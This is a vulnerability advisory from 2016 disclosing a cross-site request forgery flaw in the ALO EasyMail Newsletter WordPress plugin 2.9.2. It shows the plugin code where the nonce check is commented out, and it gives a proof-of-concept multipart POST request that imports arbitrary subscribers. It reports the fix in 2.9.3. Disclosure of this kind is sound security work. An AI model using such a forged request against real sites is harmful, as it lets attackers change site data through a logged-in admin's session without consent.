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WordPress ALO EasyMail Newsletter 2.9.2 Cross Site Request Forgery

WordPress ALO EasyMail Newsletter 2.9.2 Cross Site Request Forgery
Posted Aug 1, 2016
Authored by Yorick Koster, Securify B.V.

WordPress ALO EasyMail Newsletter plugin version 2.9.2 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
SHA-256 | ae00196b511cb748d0d23fe742e953b03adfd2422a853721694ecebb3ed4dd8a

WordPress ALO EasyMail Newsletter 2.9.2 Cross Site Request Forgery

Change Mirror Download
------------------------------------------------------------------------
Cross-Site Request Forgery in ALO EasyMail Newsletter WordPress Plugin
------------------------------------------------------------------------
Yorick Koster, July 2016

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160724-0021

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
It was discovered that the ALO EasyMail Newsletter WordPress Plugin is
vulnerable to Cross-Site Request Forgery. Amongst others, this issue can
be used to add/import arbitrary subscribers. In order to exploit this
issue, the attacker has to lure/force a victim into opening a malicious
website/link.

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on ALO EasyMail Newsletter WordPress
Plugin version 2.9.2.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This issue is resolved in ALO EasyMail Newsletter version 2.9.3.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_alo_easymail_newsletter_wordpress_plugin.html

A number of actions within ALO EasyMail Newsletter consist of two steps. The 'step one' action is protected against Cross-Site Request Forgery by means of the check_admin_referer() WordPress function.

<?php
/**
* Bulk action: Step #1/2
*/
if ( isset($_REQUEST['doaction_step1']) ) {
check_admin_referer('alo-easymail_subscribers');
However the call to check_admin_referer() has been commented out for all 'step two' actions. Due to this it is possible for an attacker to perform a Cross-Site Request Forgery attack for all the 'step 2' actions.

/**
* Bulk action: Step #2/2
*/
if ( isset($_REQUEST['doaction_step2']) ) {
//if($wp_version >= '2.6.5') check_admin_referer('alo-easymail_subscribers');


Amongst others, this issue can be used to add/import arbitrary subscribers. In order to exploit this issue, the attacker has to lure/force a victim into opening a malicious website/link.
Proof of concept
POST /wp-admin/edit.php?post_type=newsletter&page=alo-easymail%2Fpages%2Falo-easymail-admin-subscribers.php&doaction_step2=true&action=import HTTP/1.1
Host: <target>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: <session cookies>
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------17016644981835490787491067954
Content-Length: 645

-----------------------------17016644981835490787491067954
Content-Disposition: form-data; name="uploaded_csv"; filename="foo.csv"
Content-Type: text/plain

sumofpwn@securify.n;Summer of Pwnage;en

-----------------------------17016644981835490787491067954
Content-Disposition: form-data; name="post_type"

newsletter
-----------------------------17016644981835490787491067954
Content-Disposition: form-data; name="action"

import_step2
-----------------------------17016644981835490787491067954
Content-Disposition: form-data; name="doaction_step2"

Upload CSV file
-----------------------------17016644981835490787491067954--


------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.
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